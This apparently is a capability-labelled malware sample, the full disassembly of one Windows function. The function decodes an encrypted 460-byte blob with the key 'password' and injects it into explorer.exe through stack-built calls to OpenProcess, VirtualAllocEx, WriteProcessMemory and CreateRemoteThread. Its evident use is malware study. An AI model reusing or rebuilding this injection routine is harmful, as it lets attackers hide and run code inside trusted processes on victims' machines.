Function at 0x1400011d0
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
sub rsp, 0xe8
mov rax, qword [0x140023ec0]
xor rax, rsp
mov qword [rsp + 0xd8], rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x48], rax
lea rcx, str.explorer.exe
call fcn.1400010f0
mov dword [0x140025b30], eax
lea r8, [0x140025d20]
lea rdx, str.password
lea rcx, str.2C1915102B17465C2C194B402B1717502C1915432B17175C2C1910432B1742542C1943432B1742542C1947422B1747552C1947422B1747542C1946412B1747552C1946452B17465C2C1940422B1716562C1945462B17465C2C194B112B1747562C1945432B17465C2C194B112B1747562C19424B2B17465C2C194B112B1747562C1941432B17465C2C194B112B1745562C1946432B17465C2C1943152B1710532C1947122B1746052C1947172B1741552C19104A2B17465C2C1940422B1711542C1912102B1741072C1945422B1745072C1943412B1740072C1941432B1746552C1910422B17115D2C1943172B1746552C1943422B1711552C1916412B1717002C1946412B1746552C1946422B17465C2C194B112B1747562C1941432B174A062C1947412B1741072C19474B2B1742552C1917432B174A062C194B432B174A5C2C1943432B1742542C1943432B17465C2C194B462B1711542C1944472B1744532C19474B2B1742552C1917432B1747542C194B112B17465C2C19424B2B1746502C194B112B1746542C1941432B17465D2C1943422B1716542C1916402B1747522C19474B2B1714022C19104A2B1746552C194B112B1741502C194B4B2B17465C2C1943422B1716522C1947172B1741552C19104A2B17465C2C1940422B1711542C1912102B1746552C1910422B17115D2C1943172B1746552C1943422B1711552C19404B2B1717542C1944462B1714552C1947102B1742572C1947102B1740502C19434B2B1746512C19404A2B1716552C1944462B17165C2C19464B2B1746502C194B112B1746542C1941472B17465D2C1943422B1716542C1945452B1746552C194B112B1742072C19474B2B1746502C194B112B1746542C1942102B17465D2C1943422B1716542C1947422B174A062C1943472B174A5C2C19474B2B1742552C1917432B1746552C19464B2B1746552C19464B2B1747012C19464A2B1747052C1947422B17475C2C1947422B17475D2C1947422B1747052C19474B2B174A572C1916102B1740542C1947422B1747562C1915152B1717542C19464B2B1746552C19464A2B1747052C19474B2B174A062C1942412B17175D2C1946442B1714022C1915152B1714022C1946172B17465D2C1911162B1745532C1944402B1741562C1946152B1741572C1940412B1742542C1943432B1746552C1946452B17465D2C194B4A2B1717522C19474B2B174A552C1916102B1713542C1943422B1742542C1943432B17465D2C194B4A2B1717512C19474A2B1710072C1943412B1742542C1943462B17415D2C1910432B17135C2C19404B2B1744512C1947422B1747502C19474A2B174A5D2C1916472B1746072C194B4A2B1714552C1947422B1710052C1947102B1745532C1941452B1742532C1915152B1716512C1947102B174A5D2C1916122B17445C2C1943422B1742552C1943432B1742542C19464A2B1746552C1911122B17405D2C194B432B1744062C1943432B1714022C1917462B1747542C1946432B1746002C1940422B17115D2C1947172B1741552C1910432B17465C2C1915152B1711542C19474B2B174A5D2C1910412B17465C2C1915152B1711542C19474B2B174A5D2C1910422B1746552C1911122B1717052C1943152B1716022C1916432B1714022C1917462B17465C2C194B4A2B1711532C1945122B1743542C1947422B17475C2C1947102B174A5D2C1916412B17465C2C194B4A2B17145D2C1947422B1710052C194A4A2B1713512C1944472B1744552C1915152B1716512C19474B2B174A552C1910472B1746542C1943412B1742542C1943432B17465D2C19114B2B1744572C1945172B1744502C1943432B1742542C1943432B1742542C1943432B1746552C1946432B1746552C1946432B17465C2C194B4A2B1717562C1946442B1747532C1946442B1746002C1940422B1711542C1945122B1742002C19464A2B1746552C1946432B1717562C1915102B1744522C1910442B1746502C1941472B1747502C1943422B1742552C19474B2B174A002C1947472B1740502C19424B2B1711522C1943432B17445C2C19474B2B174A5D2C1916452B1747522C1946432B1746552C1946432B1746552C1946432B1746552C1946432B17465D2C1915152B1711542C1947422B1747542C19474A2B1714022C19104B2B1746002C194B4A2B1711552C1947102B174A5D2C1910422B1746552C1911122B17455D2C1910102B1741022C194B452B1714022C1917462B17465C2C1940422B1716562C19474B2B1714022C1910122B174A062C1943162B1746552C1911122B17425C2C194B442B1743002C1945432B1714022C1917462B1710062C1916432B1743002C1941122B1742052C1947422B1710052C1912452B174B512C1911172B174B002C1915152B1716512C19474B2B174A572C1910472B17405C2C1940102B1742522C1944102B1742052C194B432B1714062C1916432B1745512C1943462B1710062C1947442B1743572C1944412B1744022C1945122B1742542C19464A2B1746552C194B4A2B1716052C1915152B171651
call section..text
mov qword [rsp + 0x40], 0
jmp 0x14000123f
mov rax, qword [rsp + 0x40]
inc rax
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0x1cc
jae 0x140001277
lea rax, [0x140025b40]
add rax, qword [rsp + 0x40]
lea rcx, [0x140025d20]
mov rdx, qword [rsp + 0x40]
lea rcx, [rcx + rdx*4]
mov r8, rax
lea rdx, str.x_2hhx
call fcn.140001690
jmp 0x140001232
mov byte [rsp + 0x78], 0x4f
mov byte [rsp + 0x79], 0x70
mov byte [rsp + 0x7a], 0x65
mov byte [rsp + 0x7b], 0x6e
mov byte [rsp + 0x7c], 0x50
mov byte [rsp + 0x7d], 0x72
mov byte [rsp + 0x7e], 0x6f
mov byte [rsp + 0x7f], 0x63
mov byte [rsp + 0x80], 0x65
mov byte [rsp + 0x81], 0x73
mov byte [rsp + 0x82], 0x73
mov byte [rsp + 0x83], 0
lea rdx, [rsp + 0x78]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x58], rax
mov r8d, dword [0x140025b30]
xor edx, edx
mov ecx, 0x1fffff
call qword [rsp + 0x58]
mov qword [0x140025b28], rax
mov byte [rsp + 0x98], 0x56
mov byte [rsp + 0x99], 0x69
mov byte [rsp + 0x9a], 0x72
mov byte [rsp + 0x9b], 0x74
mov byte [rsp + 0x9c], 0x75
mov byte [rsp + 0x9d], 0x61
mov byte [rsp + 0x9e], 0x6c
mov byte [rsp + 0x9f], 0x41
mov byte [rsp + 0xa0], 0x6c
mov byte [rsp + 0xa1], 0x6c
mov byte [rsp + 0xa2], 0x6f
mov byte [rsp + 0xa3], 0x63
mov byte [rsp + 0xa4], 0x45
mov byte [rsp + 0xa5], 0x78
mov byte [rsp + 0xa6], 0
lea rdx, [rsp + 0x98]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1cc
xor edx, edx
mov rcx, qword [0x140025b28]
call qword [rsp + 0x60]
mov qword [0x140025b18], rax
mov byte [rsp + 0xa8], 0x57
mov byte [rsp + 0xa9], 0x72
mov byte [rsp + 0xaa], 0x69
mov byte [rsp + 0xab], 0x74
mov byte [rsp + 0xac], 0x65
mov byte [rsp + 0xad], 0x50
mov byte [rsp + 0xae], 0x72
mov byte [rsp + 0xaf], 0x6f
mov byte [rsp + 0xb0], 0x63
mov byte [rsp + 0xb1], 0x65
mov byte [rsp + 0xb2], 0x73
mov byte [rsp + 0xb3], 0x73
mov byte [rsp + 0xb4], 0x4d
mov byte [rsp + 0xb5], 0x65
mov byte [rsp + 0xb6], 0x6d
mov byte [rsp + 0xb7], 0x6f
mov byte [rsp + 0xb8], 0x72
mov byte [rsp + 0xb9], 0x79
mov byte [rsp + 0xba], 0
lea rdx, [rsp + 0xa8]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x1cc
lea r8, [0x140025b40]
mov rdx, qword [0x140025b18]
mov rcx, qword [0x140025b28]
call qword [rsp + 0x68]
mov byte [rsp + 0xc0], 0x43
mov byte [rsp + 0xc1], 0x72
mov byte [rsp + 0xc2], 0x65
mov byte [rsp + 0xc3], 0x61
mov byte [rsp + 0xc4], 0x74
mov byte [rsp + 0xc5], 0x65
mov byte [rsp + 0xc6], 0x52
mov byte [rsp + 0xc7], 0x65
mov byte [rsp + 0xc8], 0x6d
mov byte [rsp + 0xc9], 0x6f
mov byte [rsp + 0xca], 0x74
mov byte [rsp + 0xcb], 0x65
mov byte [rsp + 0xcc], 0x54
mov byte [rsp + 0xcd], 0x68
mov byte [rsp + 0xce], 0x72
mov byte [rsp + 0xcf], 0x65
mov byte [rsp + 0xd0], 0x61
mov byte [rsp + 0xd1], 0x64
mov byte [rsp + 0xd2], 0x45
mov byte [rsp + 0xd3], 0x78
mov byte [rsp + 0xd4], 0
lea rdx, [rsp + 0xc0]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [0x140025b18]
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x140025b28]
call qword [rsp + 0x70]
mov qword [0x140025b20], rax
mov byte [rsp + 0x88], 0x43
mov byte [rsp + 0x89], 0x6c
mov byte [rsp + 0x8a], 0x6f
mov byte [rsp + 0x8b], 0x73
mov byte [rsp + 0x8c], 0x65
mov byte [rsp + 0x8d], 0x48
mov byte [rsp + 0x8e], 0x61
mov byte [rsp + 0x8f], 0x6e
mov byte [rsp + 0x90], 0x64
mov byte [rsp + 0x91], 0x6c
mov byte [rsp + 0x92], 0x65
mov byte [rsp + 0x93], 0
lea rdx, [rsp + 0x88]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x50], rax
mov rcx, qword [0x140025b28]
call qword [rsp + 0x50]
mov rcx, qword [0x140025b20]
call qword [rsp + 0x50]
xor eax, eax
mov rcx, qword [rsp + 0xd8]
xor rcx, rsp
call fcn.140001770
add rsp, 0xe8
ret